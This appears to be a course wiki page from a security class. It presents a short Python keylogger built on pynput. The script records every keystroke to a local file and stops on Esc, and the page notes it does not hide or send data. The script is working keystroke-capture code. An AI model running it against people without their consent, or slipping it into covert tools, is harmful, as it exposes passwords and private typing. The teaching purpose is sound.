WEEK 8: Python Keylogging Smulation - M199205zn/IAS-CS4 GitHub Wiki

Python Keylogging Simulation (Educational)

This script captures keystrokes and displays them in a log file. It does not run in the background or send data elsewhere—strictly for learning purposes.

from pynput import keyboard

log_file = "keylog_simulation.txt"

def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write(f"{key.char} ")
    except AttributeError:
        with open(log_file, "a") as f:
            f.write(f"{key} ")

def on_release(key):
    if key == keyboard.Key.esc:  # Stop logging when "Esc" is pressed
        return False

print("Keylogging simulation started. Press 'Esc' to stop.")

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

print("Simulation ended. Check 'keylog_simulation.txt' for results.")

How It Works:

  • Logs keypresses into a file (keylog_simulation.txt).
  • Stops logging when Esc is pressed.
  • Runs in a controlled and transparent manner.

Educational Purposes Only:

This is meant for cybersecurity learning and ethical hacking demonstrations. It should never be used for unauthorized data collection.